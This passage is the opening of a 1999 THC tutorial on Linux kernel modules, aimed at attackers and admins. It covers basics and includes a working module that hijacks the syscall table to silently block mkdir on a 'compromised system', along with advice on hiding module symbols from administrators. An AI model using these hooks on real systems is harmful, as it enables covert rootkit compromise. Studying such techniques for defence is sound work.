Complete Linux Loadable Kernel Modules

心想事成

(nearly) Complete Linux Loadable Kernel Modules(nearly) Complete Linux Loadable

Kernel Modules

-the definitive guide for hackers, virus coders and system administrators-

written by pragmatic / THC, version 1.0

released 03/1999



CONTENTS

Introduction



I. Basics

1. What are LKMs

2. What are Syscalls

3. What is the Kernel-Symbol-Table

4. How to transform Kernel to User Space Memory

5. Ways to use user space like functions

6. List of daily needed Kernelspace Functions

7. What is the Kernel-Daemon

8. Creating your own Devices



II. Fun & Profit

1. How to intercept Syscalls

2. Interesting Syscalls to Intercept



2.1 Finding interesting systemcalls (the strace approach)

3. Confusing the kernel's System Table

4. Filesystem related Hacks



4.1 How to Hide Files



4.2 How to hide the file contents (totally)



4.3 How to hide certain file parts (a prototype implementation)



4.4 How to monitor redirect file operations



4.5 How to avoid any file owner problems



4.6 How to make a hacker-tools-directory unaccessible



4.7 How to change CHROOT Environments

5. Process related Hacks



5.1 How to hide any process



5.2 How to redirect Execution of files

6. Network (Socket) related Hacks



6.1 How to controll Socket Operations

7. Ways to TTY Hijacking

8. Virus writing with LKMs



8.1 How a LKM virus can infect any file (not just modules; prototype)



8.2 How can a LKM virus help us to get in

9. Making our LKM invisible & unremovable

10.Other ways of abusing the Kerneldaemon

11.How to check for presents of our LKM



III. Soltutions (for admins)

1. LKM Detector Theory & Ideas



1.1 Practical Example of a prototype Detector



1.2 Practical Example of a prototype password protected create_module(...)

2. Anti-LKM-Infector ideas

3 Make your programs untraceable (theory)



3.1 Practical Example of a prototype Anti-Tracer

4. Hardening the Linux Kernel with LKMs



4.1 Why should we allow arbitrary programs execution rights? (route's idea from

Phrack implemented as LKM)



4.2 The Link Patch (Solar Designer's idea from Phrack implemented as LKM)



4.3 The /proc permission patch (route's idea from Phrack implemented as LKM)



4.4 The securelevel patch (route's idea from Phrack implemented as LKM)



4.5 The rawdisk patch



IV. Some Better Ideas (for hackers)

1. Tricks to beat admin LKMs

2. Patching the whole kernel - or creating the Hacker-OS



2.1 How to find kernel symbols in /dev/kmem



2.2 The new 'insmod' working without kernel support

3. Last words



V. The near future : Kernel 2.2

1. Main Difference for LKM writer's



VI. Last Words

1. The 'LKM story' or 'how to make a system plug & hack compatible'

2. Links to other Resources



Acknowledgements



Greets



Appendix



A - Source Codes



a) LKM Infection by Stealthf0rk/SVAT



b) Heroin - the classic one by Runar Jensen



c) LKM Hider / Socket Backdoor by plaguez



d) LKM TTY hijacking by halflife



e) AFHRM - the monitor tool by Michal Zalewski



f) CHROOT module trick by FLoW/HISPAHACK



g) Kernel Memory Patching by ?



h) Module insertion without native support by Silvio Cesare









Introduction

The use of Linux in server environments is growing from second to second. So

hacking Linux becomes more interesting every day. One of the best techniques to

attack a Linux system is using kernel code. Due to its feature called Loadable

Kernel Modules (LKMs) it is possible to write code running in kernel space,

which allows us to access very sensitive parts of the OS. There were some texts

and files concerning LKM hacking before (Phrack, for example) which were very

good. They introduced new ideas, new methodes and complete LKMs doing anything a

hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)

in 1998 were very interesting.

So why do I write again a text about LKMs. Well there are several reasons :

  former texts did sometimes not give good explanations for kernel beginners;

  this text has a very big basic section, helping beginners to understand the

  concepts. I met lots of people using nice exploits/sniffers and so on without

  even understanding how they work. I included lots of source code in this file

  with lots of comments, just to help those beginners who know that hacking is

  more than playing havoc on some networks out there !



  every published text concentrated on a special subject, there was no complete

  guide for hackers concerning LKMs. This text will cover nearly every aspect of

  kernel abusing (even virus aspects)



  this texts was written from the hacker / virus coder perspective, but it will

  also help admins and normal kernel developers doing a better job



  former text showed us the main advantages / methods of abusing LKMs, but there

  are some things which we have not heard of yet. This text will show some new

  ideas (nothing totally new, but things which could help us)



  this text will show concepts of some simple ways to protect from LKM attacks



  this text will also show how to defeat LKM protections by using methods like

  Runtime Kernel Patching



Please remember that new ideas are implemented as prototype modules (just for

demonstration) which have to be improved in order to use them in the wild.

The main motivation of this text is giving everyone one big text covering the

whole LKM problem. In appendix A I give you some existing LKMs plus a short

description of their working (for beginners) and ways to use them.

The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested

all programs and code fragments. The Linux system must have LKM support for

using most code examples in this text. Only part IV will show some sources

working without native LKM support. Most ideas in this text will also work on

2.2.x systems (perhaps you'll need some minor modification); but recall that

kernel 2.2.x was just released (1/99) and most linux distribution still use

2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE

will present their kernel 2.2.x versions; so you won't need to know how to hack

a 2.2.x kernel at the moment. Good administrators will also wait some months in

order to get a more reliable 2.2.x kernel. [Note : Most systems just don't need

kernel 2.2.x so they will continue using 2.0.x].

This text has a special section dealing with LKMs helping admins to secure the

system. You (hacker) should also read this section, you must know everything the

admins know and even more. You will also get some nice ideas from that section

that could help you develope more advanced 'hacker-LKMs'. Just read the whole

text !

And please remember : This text was only written for educational purpose. Any

illegal action based on this text is your own problem.



I. Basics

1. What are LKMs

LKMs are Loadable Kernel Modules used by the Linux kernel to expand his

functionality. The advantage of those LKMs : The can be loaded dynamically;

there must be no recompilation of the whole kernel. Because of those features

they are often used for specific device drivers (or filesystems) such as

soundcards etc.

Every LKM consist of two basic functions (minimum) :

int init_module(void) /*used for all initialition stuff*/

{



...

}



void cleanup_module(void) /*used for a clean shutdown*/

{

...

}

Loading a module - normally retricted to root - is managed by issuing the

follwing command:

# insmod module.o

This command forces the System to do the following things :

  Load the objectfile (here module.o)



  call create_module systemcall (for systemcalls -> see I.2) for Relocation of

  memory



  unresolved references are resolved by Kernel-Symbols with the systemcall

  get_kernel_syms



  after this the init_module systemcall is used for the LKM initialisation ->

  executing int init_module(void) etc.



The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).

So I think we can write our first little LKM just showing how it basicly works:

#define MODULE

#include <Linux/module.h>



int init_module(void)

{

printk("<1>Hello World\n");

return 0;

}



void cleanup_module(void)

{

printk("<1>Bye, Bye");

}

You may wonder why I used printk(...) not printf(...). Well Kernel-Programming

is totally different from Userspace-Programming !

You only have a very restricted set of commands (see I.6). With those commands

you cannot do much, so you will learn how to use lots of functions you know from

your userspace applications helping you hacking the kernel. Just be patient, we

have to do something else before...

The Example above can easily compiled by

# gcc -c -O3 helloworld.c

# insmod helloworld.o

Ok, our module is loaded and showed us the famous text. Now you can check some

commands showing you that your LKM really stays in kernel space.



# lsmod

Module         Pages    Used by

helloworld         1              0

This command reads the information in /proc/modules for showing you which

modules are loaded at the moment. 'Pages' is the memory information (how many

pages does this module fill); the 'Used by' field tells us how often the module

is used in the System (reference count). The module can only be removed, when

this counter is zero; after checking this, you can remove your module with

# rmmod helloworld

Ok, this was our first little (very little) step towards abusing LKMs. I always

compared those LKMs to old DOS TSR Programs (yes there are many differences, I

know), they were our gate to staying resident in memory and catching every

interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is also

similar to LKMs (also many differences). The most interesting part of those

resident programs is the ability to hook system functions, in the Linux world

called systemcalls.



2. What are systemcalls

I hope you know, that every OS has some functions build into its kernel, which

are used for every operation on that system.

The functions Linux uses are called systemcalls. They represent a transition

from user to kernel space. Opening a file in user space is represented by the

sys_open systemcall in kernel space. For a complete list of all systemcalls

available on your System look at /usr/include/sys/syscall.h. The following list

shows my syscall.h

#ifndef        _SYS_SYSCALL_H

#define        _SYS_SYSCALL_H



#define        SYS_setup                0 /* Used only by init, to get system going. */

#define SYS_exit                1

#define SYS_fork                2

#define SYS_read                3

#define SYS_write                4

#define SYS_open                5

#define SYS_close                6

#define SYS_waitpid                7

#define SYS_creat                8

#define SYS_link                9

#define SYS_unlink                10

#define SYS_execve                11

#define SYS_chdir                12

#define SYS_time                13

#define SYS_prev_mknod                14

#define SYS_chmod                15

#define SYS_chown                16

#define SYS_break                17

#define SYS_oldstat                18

#define SYS_lseek                19

#define SYS_getpid                20

#define SYS_mount                21

#define SYS_umount                22

#define SYS_setuid                23

#define SYS_getuid                24

#define SYS_stime                25

#define SYS_ptrace                26

#define SYS_alarm                27

#define SYS_oldfstat                28

#define SYS_pause                29

#define SYS_utime                30

#define SYS_stty                31

#define SYS_gtty                32

#define SYS_access                33

#define SYS_nice                34

#define SYS_ftime                35

#define SYS_sync                36

#define SYS_kill                37

#define SYS_rename                38

#define SYS_mkdir                39

#define SYS_rmdir                40

#define SYS_dup                        41

#define SYS_pipe                42

#define SYS_times                43

#define SYS_prof                44

#define SYS_brk                        45

#define SYS_setgid                46

#define SYS_getgid                47

#define SYS_signal                48

#define SYS_geteuid                49

#define SYS_getegid                50

#define SYS_acct                51

#define SYS_phys                52

#define SYS_lock                53

#define SYS_ioctl                54

#define SYS_fcntl                55

#define SYS_mpx                        56

#define SYS_setpgid                57

#define SYS_ulimit                58

#define SYS_oldolduname                59

#define SYS_umask                60

#define SYS_chroot                61

#define SYS_prev_ustat                62

#define SYS_dup2                63

#define SYS_getppid                64

#define SYS_getpgrp                65

#define SYS_setsid                66

#define SYS_sigaction                67

#define SYS_siggetmask                68

#define SYS_sigsetmask                69

#define SYS_setreuid                70

#define SYS_setregid                71

#define SYS_sigsuspend                72

#define SYS_sigpending                73

#define SYS_sethostname                74

#define SYS_setrlimit                75

#define SYS_getrlimit                76

#define SYS_getrusage                77

#define SYS_gettimeofday        78

#define SYS_settimeofday        79

#define SYS_getgroups                80

#define SYS_setgroups                81

#define SYS_select                82

#define SYS_symlink                83

#define SYS_oldlstat                84

#define SYS_readlink                85

#define SYS_uselib                86

#define SYS_swapon                87

#define SYS_reboot                88

#define SYS_readdir                89

#define SYS_mmap                90

#define SYS_munmap                91

#define SYS_truncate                92

#define SYS_ftruncate                93

#define SYS_fchmod                94

#define SYS_fchown                95

#define SYS_getpriority                96

#define SYS_setpriority                97

#define SYS_profil                98

#define SYS_statfs                99

#define SYS_fstatfs                100

#define SYS_ioperm                101

#define SYS_socketcall                102

#define SYS_klog                103

#define SYS_setitimer                104

#define SYS_getitimer                105

#define SYS_prev_stat                106

#define SYS_prev_lstat                107

#define SYS_prev_fstat                108

#define SYS_olduname                109

#define SYS_iopl                110

#define SYS_vhangup                111

#define SYS_idle                112

#define SYS_vm86old                113

#define SYS_wait4                114

#define SYS_swapoff                115

#define SYS_sysinfo                116

#define SYS_ipc                        117

#define SYS_fsync                118

#define SYS_sigreturn                119

#define SYS_clone                120

#define SYS_setdomainname        121

#define SYS_uname                122

#define SYS_modify_ldt                123

#define SYS_adjtimex                124

#define SYS_mprotect                125

#define SYS_sigprocmask                126

#define SYS_create_module        127

#define SYS_init_module                128

#define SYS_delete_module        129

#define SYS_get_kernel_syms        130

#define SYS_quotactl                131

#define SYS_getpgid                132

#define SYS_fchdir                133

#define SYS_bdflush                134

#define SYS_sysfs                135

#define SYS_personality                136

#define SYS_afs_syscall                137 /* Syscall for Andrew File System */

#define        SYS_setfsuid                138

#define        SYS_setfsgid                139

#define        SYS__llseek                140

#define SYS_getdents                141

#define SYS__newselect                142

#define SYS_flock                143

#define SYS_syscall_flock        SYS_flock

#define SYS_msync                144

#define SYS_readv                145

#define SYS_syscall_readv        SYS_readv

#define SYS_writev                146

#define SYS_syscall_writev        SYS_writev

#define SYS_getsid                147

#define SYS_fdatasync                148

#define SYS__sysctl                149

#define SYS_mlock                150

#define SYS_munlock                151

#define SYS_mlockall                152

#define SYS_munlockall                153

#define SYS_sched_setparam        154

#define SYS_sched_getparam        155

#define SYS_sched_setscheduler        156

#define SYS_sched_getscheduler        157

#define SYS_sched_yield                158

#define SYS_sched_get_priority_max        159

#define SYS_sched_get_priority_min        160

#define SYS_sched_rr_get_interval        161

#define SYS_nanosleep                162

#define SYS_mremap                163

#define SYS_setresuid                164

#define SYS_getresuid                165

#define SYS_vm86                166

#define SYS_query_module        167

#define SYS_poll                168

#define SYS_syscall_poll        SYS_poll



#endif        /* <sys/syscall.h> */

Every systemcall has a defined number (see listing above), which is actually

used to make the systemcall.

The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall

number and any arguments are moved to some registers (eax for systemcall number,

for example).

The systemcall number is an index in an array of a kernel structure called

sys_call_table[]. This structure maps the systemcall numbers to the needed

service function.

Ok, this should be enough knowledge to continue reading. The following table

lists the most interesting systemcalls plus a short description. Believe me, you

have to know the exact working of those systemcalls in order to make really

useful LKMs.

      systemcalldescription

      int sys_brk(unsigned long new_brk);changes the size of used DS (data

      segment) ->this systemcall will be discussed in I.4

      int sys_fork(struct pt_regs regs);systemcall for the well-know fork()

      function in user space

      int sys_getuid ()

      int sys_setuid (uid_t uid)

      ...systemcalls for managing UID etc.

      int sys_get_kernel_sysms(struct kernel_sym *table)systemcall for accessing

      the kernel system table (-> I.3)

      int sys_sethostname (char *name, int len);

      int sys_gethostname (char *name, int len);

      sys_sethostname is responsible for setting the hostname, and

      sys_gethostname for retrieving it

      int sys_chdir (const char *path);

      int sys_fchdir (unsigned int fd);

      both function are used for setting the current directory (cd ...)

      int sys_chmod (const char *filename, mode_t mode);

      int sys_chown (const char *filename, mode_t mode);

      int sys_fchmod (unsigned int fildes, mode_t mode);

      int sys_fchown (unsigned int fildes, mode_t mode);

      functions for managing permissions and so on

      int sys_chroot (const char *filename);sets root directory for calling

      process

      int sys_execve (struct pt_regs regs);important systemcall -> it is

      responsible for executing file (pt_regs is the register stack)

      long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long

      arg);changing characteristics of fd (opened file descr.)

      int sys_link (const char *oldname, const char *newname);

      int sym_link (const char *oldname, const char *newname);

      int sys_unlink (const char *name);

      systemcalls for hard- / softlinks management

      int sys_rename (const char *oldname, const char *newname);file renaming

      int sys_rmdir (const char* name);

      int sys_mkdir (const *char filename, int mode);

      creating & removing directories

      int sys_open (const char *filename, int mode);

      int sys_close (unsigned int fd);

      everything concering opening files (also creation), and also closing them

      int sys_read (unsigned int fd, char *buf, unsigned int count);

      int sys_write (unsigned int fd, char *buf, unsigned int count);

      systemcalls for writing & reading from Files

      int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int

      count);systemcall which retrievs file listing (ls ... command)

      int sys_readlink (const char *path, char *buf, int bufsize);reading

      symbolic links

      int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct

      timeval *tvp);multiplexing of I/O operations

      sys_socketcall (int call, unsigned long args);socket functions

      unsigned long sys_create_module (char *name, unsigned long size);

      int sys_delete_module (char *name);

      int sys_query_module (const char *name, int which, void *buf, size_t

      bufsize, size_t *ret);

      used for loading / unloading LKMs and querying

In my opinion these are the most interesting systemcalls for any hacking

intention, of course it is possible that you may need something special on your

rooted system, but the average hacker has a plenty of possibilities with the

listing above. In part II you will learn how to use the systemcalls for your

profit.

3. What is the Kernel-Symbol-Table

Ok, we understand the basic concept of systemcalls and modules. But there is

another very important point we need to understand - the Kernel Symbol Table.

Take a look at /proc/ksyms. Every entry in this file represents an exported

(public) Kernel Symbol, which can be accessed by our LKM. Take a deep look in

that file, you will find many interesting things in it.

This file is really very interesting, and can help us to see what our LKM can

get; but there is one problem. Every Symbol used in our LKM (like a function) is

also exportet to the public, and is also listed in that file. So an experienced

admin could discover our little LKM and kill it.

There are lots of methods to prevent the admin from seeing our LKM, look at

section II.

The methods mentioned in II can be called 'Hacks', but when you take a look at

the contents of section II you won't find any reference to 'Keeping LKM Symbols

out of /proc/ksyms'. The reason for not mentioning this problem in II is the

following :

you won't need a trick to keep your module symbols away from /proc/ksyms. LKM

devolopers are able to use the following piece of regular code to limit the

exported symbols of their module:



static struct symbol_table module_syms= { /*we define our own symbol table !*/

#include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/

   ...                                       

};



register_symtab(&module_syms);            /*do the actual registration*/

As I said, we don't want to export any symbols to the public, so we use the

following construction :

register_symtab(NULL);

This line must be inserted in the init_module() function, remember this !

4. How to transform Kernel to User Space Memory

Till now this essay was very very basic and easy. Now we come to stuff more

difficult (but not more advanced).

We have many advantages because of coding in kernel space, but we also have some

disadvantages. systemcalls get their arguments from user space (systemcalls are

implemented in wrappers like libc), but our LKM runs in kernel space. In section

II you will see that it is very important for us to check the arguments of

certain systemcalls in order to act the right way. But how can we access an

argument allocated in user space from our kernel space module ?

Solution : We have to make a transition.

This may sound a bit strange for non-kernel-hackers, but is really easy. Take

the following systemcall :



int sys_chdir (const char *path)

Imagine the system calling it, and we intercept that call (we will learn this in

section II). We want to check the path the user wants to set, so we have to

access const char *path. If you try to access the path variable directly like

printk("<1>%s\n", path);

you will get real problems...

Remember you are in kernel space, you cannot read user space memory easily. Well

in Phrack 52 you get a solution by plaguez, which is specialized for strings He

uses a kernel mode function (macro) for retrieving user space memory bytes :

#include <asm/segment.h>



get_user(pointer);

Giving this function a pointer to our *path location helps ous getting the bytes

from user space memory to kernel space. Look at the implemtation made by plaguez

for moving strings from user to kernel space:



char *strncpy_fromfs(char *dest, const char *src, int n)

{

    char *tmp = src;

    int compt = 0;



    do {

        dest[compt++] = __get_user(tmp++, 1);

    }

    while ((dest[compt - 1] != '\0') && (compt != n));



    return dest;

}

If we want to convert our *path variable we can use the following piece of

kernel code :

char *kernel_space_path;



kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory

                                                        in kernel space*/

(void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's

                                                        function*/

printk("<1>%s\n", kernel_space_path);                  /*now we can use

                                                        the data for whatever we

                                                        want*/

kfree(test);                                           /*remember freeing the

                                                        memory*/

The code above works very fine. For a general transition it is too complicated;

plaguez used it only for strings (the functions is made only for string copies).

For normal data transitions the following function is the easiest way of doing:

#include <asm/segment.h>

void memcpy_fromfs(void *to, const void *from, unsigned long count);

Both functions are obviously based on the same kind of commands, but the second

one is nearly the same as plaguez's newly defined function. I would recommand

using memcpy_fromfs(...) for general data transitions and plaguez's one for

string copying tasks.

Now we know how to convert from user space memory to kernel space. But what

about the other direction ? This is a bit harder, because we cannot easily

allocate user space memory from our kernel space position. If we could manage

this problem we could use



#include <asm/segment.h>

void memcpy_tofs(void *to, const void *from, unsigned long count);

doing the actual converting. But how to allocate user space for the *to pointer?

plaguez's Phrack essay gives us the best solution :

/*we need brk systemcall*/

static inline _syscall1(int, brk, void *, end_data_segment);



...



int ret, tmp;

char *truc = OLDEXEC;

char *nouveau = NEWEXEC;

unsigned long mmm;



mmm = current->mm->brk;

ret = brk((void *) (mmm + 256));

if (ret < 0)

   return ret;

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

This is a very nice trick used here. current is a pointer to the task structure

of the current process; mm is the pointer to the mm_struct - responsible for the

memory management of that process. By using the brk-systemcall on current->

mm->brk we are able to increase the size of the unused area of the datasegment.

And as we all know allocating memory is done by playing with the datasegment, so

by increasing the unused area size, we have allocated some piece of memory for

the current process. This memory can be used for copying the kernel space memory

to user space (of the current process).

You may wonder about the first line from the code above. This line helps us to

use user space like functions in kernel space.Every user space function provided

to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)

macro. So we can construct the exact syscall-macro for a certain user space

function (represented by a systemcall); here for brk(...).

See I.5 for a detailed explanation.

5. Ways to use user space like functions

As you saw in I.4 we used a syscall macro for constructing our own brk call,

which is like the one we know from user space (->brk(2)). The truth about the

user space library funtions (not all) is that they all are implemented through

such syscall macROS. The following code shows the _syscall1(..) macro used in

I.4 to construct the brk(..) function (taken from /asm/unistd.h).



#define _syscall1(type,name,type1,arg1) \

type name(type1 arg1) \

{ \

long __res; \

__asm__ volatile ("int $0x80" \

        : "=a" (__res) \

        : "0" (__NR_##name),"b" ((long)(arg1))); \

if (__res >= 0) \

        return (type) __res; \

errno = -__res; \

return -1; \

}

You don't need to understand this code in its full function, it just calls

interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).

name stands for the systemcall we need (the name is expanded to __NR_name, which

is defined in /asm/unistd.h). This way we implemted the brk function. Other

functions with a different count of arguments are implemented through other

macros (_syscallX, where X stands for the number of arguments).

I personally use another way of implementing functions; look at the following

example :

int (*open)(char *, int, int); /*declare a prototype*/



open = sys_call_table[SYS_open];  /*you can also use __NR_open*/

This way you don't need to use any syscall macro, you just use the function

pointer from the sys_call_table. While searching the web, I found that this way

of contructing user space like functions is also used in the famous LKM infector

by SVAT. In my opinion this is the better solution, but test it and judge

yourself.

Be careful when supplying arguments for those systemcalls, they need them in

user space not from your kernel space position. Read I.4 for ways to bring your

kernel space data to user space memory.

A very easy way doing this (the best way in my opinion) is playing with the

needed registers. You have to know that Linux uses segment selectors to

differentiate between kernel space, user space and so on. Arguments used with

systemcalls which were issued from user space are somewhere in the data segment

selector (DS) range. [I did not mention this in I.4,because it fits more in this

section.]

DS can be retrieved by using get_ds() from asm/segment.h. So the data used as

parameters by systemcalls can only be accessed from kernel space if we set the

segment selector used for the user segment by the kernel to the needed DS value.

This can be done by using set_fs(...). But be careful,you have to restore FS

after you accessed the argument of the systemcall. So let's look at a code

fragment showing something useful :



->filename is in our kernel space; a string we just created, for example



unsigned long old_fs_value=get_fs();



set_fs(get_ds);               /*after this we can access the user space data*/

open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);

set_fs(old_fs_value);         /*restore fs...*/

In my opinion this is the easiet / fastest way of solving the problem, but test

it yourself (again).

Remember that the functions I showed till now (brk, open) are all implemented

through a single systemcall. But there are also groups of user space functions

which are summarized into one systemcall. Take a look at the listing of

interesting systemcalls (I.2); the sys_socketcall, for example, implements every

function concering sockets (creation, closing, sending, receiving,...). So be

careful when constructing your functions; always take a look at the kernel

sources.



6. List of daily needed Kernelspace Functions

I introduced the printk(..) function in the beginning of this text. It is a

function everyone can use in kernel space, it is a so called kernel function.

Those functions are made for kernel developers who need complex functions which

are normally only available through a library function. The following listing

shows the most important kernel functions we often need :

      function/macrodescription

      int sprintf (char *buf, const char *fmt, ...);

      int vsprintf (char *buf, const char *fmt, va_list args);

      functions for packing data into strings

      printk (...)the same as printf in user space

      void *memset (void *s, char c, size_t count);

      void *memcpy (void *dest, const void *src, size_t count);

      char *bcopy (const char *src, char *dest, int count);

      void *memmove (void *dest, const void *src, size_t count);

      int memcmp (const void *cs, const void *ct, size_t count);

      void *memscan (void *addr, unsigned char c, size_t size);

      memory functions

      int register_symtab (struct symbol_table *intab);see I.1

      char *strcpy (char *dest, const char *src);

      char *strncpy (char *dest, const char *src, size_t count);

      char *strcat (char *dest, const char *src);

      char *strncat (char *dest, const char *src, size_t count);

      int strcmp (const char *cs, const char *ct);

      int strncmp (const char *cs,const char *ct, size_t count);

      char *strchr (const char *s, char c);

      size_t strlen (const char *s);

      size_t strnlen (const char *s, size_t count);

      size_t strspn (const char *s, const char *accept);

      char *strpbrk (const char *cs, const char *ct);

      char *strtok (char *s, const char *ct);

      string compare functions etc.

      unsigned long simple_strtoul (const char *cp, char **endp, unsigned int

      base);converting strings to number

      get_user_byte (addr);

      put_user_byte (x, addr);

      get_user_word (addr);

      put_user_word (x, addr);

      get_user_long (addr);

      put_user_long (x, addr);

      functions for accessing user memory

      suser();

      fsuser();

      checking for SuperUser rights

      int register_chrdev (unsigned int major, const char *name, struct file_o

      perations *fops);

      int unregister_chrdev (unsigned int major, const char *name);

      int register_blkdev (unsigned int major, const char *name, struct file_o

      perations *fops);

      int unregister_blkdev (unsigned int major, const char *name);

      functions which register device driver

      ..._chrdev -> character devices

      ..._blkdev -> block devices



Please remember that some of those function may also be made available through

the method mentoined in I.5. But you should understand, that it is not very

useful contructing nice user space like functions, when the kernel gives them to

us for free.

Later on you will see that these functions (especially string comaprisons) are

very important for our purposes.



7. What is the Kernel-Daemon

Finally we nearly reached the end of the basic part. Now I will explain the

working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a

process in user space waiting for some action. First of all you must know that

it is necessary to activite the kerneld option while building the kernel, in

order to use kerneld's features. Kerneld works the following way : If the kernel

wants to access a resource (in kernel space of course), which is not present at

that moment, he does not produce an error. Instead of doing this he asks kerneld

for that resource. If kerneld is able to provide the resource, it loads the

required LKM and the kernel can continue working. By using this scheme it is

possible to load and unload LKMs only when they are really needed / not needed.

It should be clear that this work needs to be done both in user and in kernel

space.

Kerneld exists in user space. If the kernel requests a new module this daemon

receives a string from the kernel telling it which module to load.It is possible

that the kenel sends a generic name (instead of the name of object file) like

eth0. In this case the system need to lookup /etc/modules.conf for alias lines.

Those lines match generic names to the LKM required on that system.

The following line says that eth0 is represented by a DEC Tulip driver LKM :



# /etc/modules.conf          # or /etc/conf.modules - this differs

alias eth0 tulip

This was the user space side represented by the kerneld daemon. The kernel space

part is mainly represented by 4 functions. These functions are all based on a

call to kerneld_send. For the exact way kerneld_send is involved by calling

those functions look at linux/kerneld.h. The following table lists the 4

functions mentioned above :

      functiondescription

      int sprintf (char *buf, const char *fmt, ...);

      int vsprintf (char *buf, const char *fmt, va_list args);

      functions for packing data into strings

      int request_module (const char *name);says kerneld that the kernel

      requires a certain module (given a name or gerneric ID / name)



      int release_module (const char* name, int waitflag);unload a module



      int delayed_release_module (const char *name);delayed unload



      int cancel_release_module (const char *name);cancels a call of

      delayed_release_module



Note : Kernel 2.2 uses another scheme for requesting modules. Take a look at

part V.

8. Creating your own Devices

Appendix A introduces a TTY Hijacking util, which will use a device to log its

results. So we have to look at a very basic example of a device driver. Look at

the following code (this is a very basic driver, I just wrote it for

demonstration, it does implement nearly no operations...) :



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



/*just a dummy for demonstration*/

static int driver_open(struct inode *i, struct file *f)

{

printk("<1>Open Function\n");

return 0;

}



/*register every function which will be provided by our driver*/

static struct file_operations fops = {

NULL,                 /*lseek*/

NULL,                 /*read*/

NULL,                 /*write*/

NULL,                 /*readdir*/

NULL,                 /*select*/

NULL,                 /*ioctl*/

NULL,                 /*mmap*/

driver_open,          /*open, take a look at my dummy open function*/

NULL,                 /*release*/

NULL                  /*fsync...*/

};





int init_module(void)

{

/*register driver with major 40 and the name driver*/

if(register_chrdev(40, "driver", &fops)) return -EIO;

  return 0;

}



void cleanup_module(void)

{

/*unregister our driver*/

unregister_chrdev(40, "driver");

}

The most important important function is register_chrdev(...) which registers

our driver with the major number 40. If you want to access this driver,do the

following :

# mknode /dev/driver c 40 0



# insmod driver.o

After this you can access that device (but i did not implement any functions due

to lack of time...). The file_operations structure provides every function

(operation) which our driver will provide to the system. As you can see I did

only implement a very (!) basic dummy function just printing something. It

should be clear that you can implement your own devices in a very easy way by

using the methods above. Just do some experiments. If you log some data (key

strokes, for example) you can build a buffer in your driver that exports its

contents through the device interface).

II. Fun & Profit

1. How to intercept Syscalls

Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel

(especially hardware drivers). Our 'Hacks' will do something different, they

will intercept systemcalls and modify them in order to change the way the system

reacts on certain commands.

The following module makes it impossible for any user on the compromised system

to create directories. This is just a little demonstration to show the way we

follow.



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];       /*sys_call_table is exported, so we

                                     can access it*/               



int (*orig_mkdir)(const char *path); /*the original systemcall*/





int hacked_mkdir(const char *path)

{

return 0;                           /*everything is ok, but he new systemcall

                                     does nothing*/

}



int init_module(void)                /*module setup*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal

                                       one*/

}

Compile this module and start it (see I.1). Try to make a directory, it will not

work.Because of returning 0 (standing for OK) we don't get an error message.

After removing the module making directories is possible again. As you can see,

we only need to change the corresponding entry in sys_call_table (see I.2) for

intercepting a kernel systemcall.

The general approach to intercepting a systemcall is outlined in the following

list :



  find your systemcall entry in sys_call_table[] (take a look at include/sys/

  syscall.h)



  save the old entry of sys_call_table[X] in a function pointer (where X stands

  for the systemcallnumber you want to intercept)



  save the address of the new (hacked) systemcall you defined yourself by

  setting sys_call_table[X] to the needed function address



You will recognize that it is very useful to save the old systemcall function

pointer, because you will need it in your hacked one for emulating the original

call. The first question you have to face when writing a 'Hack-LKM ' is :

'Which systemcall should I intercept'.



2. Interesting Syscalls to Intercept

Perhaps you are not a 'kernel god' and you don't know every systemcall for every

user space function an application or command can use. So I will give you some

hints on finding your systemcalls to take control over.



  read source code. On systems like Linux you can have the source code on nearly

  any program a user (admin) can use. Once you have found a basic function like

  dup, open, write, ... go to b



  take a look at include/sys/syscall.h (see I.2). Try to find a directly

  corresponding systemcall (search for dup -> you will find SYS_dup; search for

  write -> you will find SYS_write; ...). If this does not work got to c



  some calls like socket, send, receive, ... are implemented through one

  systemcall - as I said before. Take a look at the include file mentioned for

  related systemcalls.



Remember not every C-lib function is a systemcall ! Most functions are totally

unrelated to any systemcalls !

A little more experienced hackers should take a look at the systemcall listing

in I.2 which provides enough information. It should be clear that User ID

management is implemented through the uid-systemcalls etc. If you really want to

be sure you can also take a look at the library sources / kernel sources.

The hardest problem is an admin writing its own applications for checking system

integrity / security. The problem concerning those programs is the lack of

source code. We cannot say how this program exactly works and which systemcalls

we have to intercept in order to hide our presents / tools. It may even be

possible that he introduced a LKM hiding itself which implements cool

hacker-like systemcalls for checking the system security (the admins often use

hacker techniques to defend their system...). So how do we proceed.



2.1 Finding interesting systemcalls (the strace approach)

Let's say you know the super-admin program used to check the system (this can be
